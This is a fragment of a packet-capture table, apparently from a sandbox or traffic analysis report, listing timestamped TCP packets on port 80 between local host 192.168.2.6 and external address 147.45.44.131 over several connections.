Jan 2, 2025 19:14:17.643882990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643888950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643902063 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643907070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643913031 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643918037 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643918037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643929958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643935919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643937111 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643942118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643948078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.643960953 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.643961906 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.644021034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644021988 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.644021988 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.644027948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644032955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644040108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644045115 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644051075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644057035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644062996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644077063 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.644110918 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.644113064 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.644696951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644704103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644709110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644841909 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.644849062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644856930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.644861937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645000935 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.645024061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645190954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645198107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645279884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645292044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645298004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645302057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645308018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645313978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645318985 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645323038 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.645327091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645333052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645334005 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.645339966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645344973 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645349979 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645365953 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.645395041 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.645438910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645446062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645451069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645457983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.645569086 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.645912886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646070004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646075964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646081924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646086931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646091938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646102905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646150112 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.646162987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646167994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646179914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646193981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646197081 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.646207094 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646213055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646226883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646234035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646238089 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646255970 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.646255970 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.646354914 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.646831036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646835089 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646841049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646847010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646852016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646857023 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646927118 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646934986 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.646945953 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.647166014 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.647578955 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.647584915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.647592068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.647720098 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.647726059 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.647738934 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.647890091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.647897005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648068905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648075104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648080111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648091078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648096085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648113966 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.648135900 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.648230076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648235083 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648241043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648276091 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.648351908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648360014 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648364067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648396015 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.648487091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648499966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648504972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648510933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648515940 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648520947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648526907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648545980 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.648560047 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.648649931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648655891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648660898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648731947 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.648823977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648830891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648837090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648848057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648883104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648896933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648910999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648914099 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.648916006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648921967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648926973 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648932934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648935080 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.648938894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.648951054 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.649080038 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.649580956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649586916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649594069 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649673939 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.649754047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649769068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649775982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649780989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649786949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649882078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.649919987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649925947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649930954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649935961 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649947882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649962902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649975061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649981022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649986029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649996042 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.649996042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.649996042 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.650002003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.650008917 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.650013924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.650016069 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.650016069 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.650019884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.650024891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.650031090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.650059938 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.650116920 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.688009977 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.688016891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.688023090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.688028097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.688034058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.688040018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.688045025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.688050985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.689070940 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.689078093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.689083099 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.689109087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.689260960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.689266920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.689273119 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.689305067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.689310074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.689346075 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.703775883 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.703866005 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.703871012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.703877926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.703888893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.703895092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.703917027 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.703922987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.703929901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.703934908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704040051 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704046011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704051971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704056978 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.704057932 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704056978 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.704118013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704124928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704164028 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.704164028 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.704677105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704682112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704688072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704694986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704700947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704724073 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.704724073 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.704756975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704763889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704770088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704773903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.704787016 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.705980062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.705986023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706022978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706029892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706034899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706063032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706063032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706093073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706099033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706105947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706116915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706121922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706151962 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706173897 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706173897 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706283092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706312895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706321955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706346035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706352949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706358910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706372023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706396103 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706406116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706412077 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706418037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706455946 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706485987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706492901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706501961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706525087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706546068 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706546068 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706614017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706621885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706640959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706645966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706653118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706659079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706665039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706700087 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706829071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706835985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706842899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706847906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706855059 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706861019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706902981 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706902981 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706902981 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.706976891 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706985950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706991911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.706996918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707004070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707041025 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707091093 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707098007 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707103014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707118988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707129002 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707140923 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707142115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707151890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707158089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707165956 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707165956 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707182884 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707350016 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707454920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707462072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707468987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707474947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707483053 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707525015 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707602978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707608938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707616091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707621098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707628012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707633972 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707639933 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707642078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707688093 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707705975 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707705975 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707715988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707721949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707727909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707740068 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707746029 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707751036 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707757950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707763910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707768917 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.707798004 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.707798004 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.709922075 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.709922075 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.713565111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713572025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713584900 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713596106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713602066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713610888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713617086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713629007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713633060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713727951 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.713728905 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.713732004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713738918 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713746071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713751078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713814974 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.713820934 CET	80	49726	147.45.44.131	192.168.2.6
